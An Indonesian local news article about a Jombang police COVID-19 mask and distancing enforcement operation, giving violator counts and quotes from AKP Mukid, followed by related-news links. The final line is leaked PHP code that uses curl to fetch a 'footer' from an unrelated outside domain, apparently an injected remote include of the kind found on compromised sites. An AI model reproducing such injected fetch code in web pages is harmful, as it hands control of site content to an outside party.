AKP Mukid Pimpin Operasi Yustisi Dalam Rangka Pencegahan Covid 19

Minggu, 10 Januari 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Jombang – Jatim – Polres Jombang gelar operasi yustisi dalam rangka memutus rantai penyebaran covid 19 operasi yustisi dilaksanakan di jalan Ahmad Dahlan simpang empat Alon Alon jombang Jawa timur pada Minggu 10/01/2021

Dalam operasi yustisi dipimpin oleh pawas AKP Mukid selaku kasat Resnarkoba dari polres jombang bersama team gabungan personil polres jombang sekitar 56 yang ikut terlibat dalam operasi yustisi tersebut

Pada operasi yustisi tersebut dipimpin oleh kasat Resnarkoba AKP Mukid, iptu Agus,Iptu Heru,Ipda M Supriyo dari Danru C pol PP dan gabungan bag Sumda,Sat lantas,Sat intelkam,Sat Reskrim,Sat Resnarkoba,Sat binmas , Subbag humas, provost dan Urkes serta kodim 0814 Satpol-PP dan dishub kabupaten jombang

Baca Juga:  Polsek Sekar Lakukan Operasi Yustisi Untuk Memutus Penyebaran Covid 19

Menurut AKP Mukid selaku pawas operasi yustisi bahwa kegiatan ini dilakukan demi mencegah terjadinya penyebaran covid 19 yang semakin hari semakin bertambah untuk itu kami dan jajaran personil melakukan operasi yustisi untuk mengantisipasi adanya penyebaran covid 19 yang ada di wilayah kabupaten jombang

Baca Juga:  Walikota Gunungsitoli Diminta Berhentikan Kades Ononamolo I Lot

Kami berharap dengan adanya operasi yustisi ini masyarakat lebih disiplin dalam memakai masker dan jaga jarak cuci tangan agar dapat terhindar dari covid 19 kalau kita selalu aktif dalam menggunakan masker otomatis bisa mengurangi angka penyebaran covid 19 pada operasi yustisi kita laksanakan di jalan Ahmad Dahlan simpang empat Alon Alon Jombang untuk itu marilah kita dengan ikhlas dan semangat dalam melaksanakan operasi yustisi demi kepentingan bersama sehingga dapat mengurangi jumlah yang terpapar covid 19

Baca Juga:  Pentingnya kesadaran masyarakat sebagai pengawas di pemerintah daerah

Mukid menambahkan dalam operasi yustisi mendapati pelanggar yustisi berjumlah 48 dengan rincian 1 KTP disita dan 4 sanksi sosial di tempat teguran lisan 43 orang dan selama kegiatan ini alhamdulillah berjalan dengan lancar dan kondusif terang AKP Mukid ( Aan jk)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim
Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 
Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 
Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas
Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran
DPO Perkara Tindak Pidana Korupsi Dana Desa (DD) di Ringkus
Gelar Vaksinasi Massal, Pemkab Kaur Tergetkan 2000 Dosis
Rutan Medaeng Akan Dibuat Mirip Apartemen

Berita Terkait

Senin, 8 Agustus 2022 - 21:30 WIB

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim

Senin, 27 Juni 2022 - 22:25 WIB

Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 

Senin, 27 Juni 2022 - 21:29 WIB

Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 

Kamis, 10 Februari 2022 - 06:46 WIB

Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas

Senin, 13 Desember 2021 - 13:29 WIB

Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran

Berita Terbaru

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

Peristiwa

Kick Off (ILP) Di Launching Oleh Plt Bupati Malang

Rabu, 16 Okt 2024 - 11:09 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>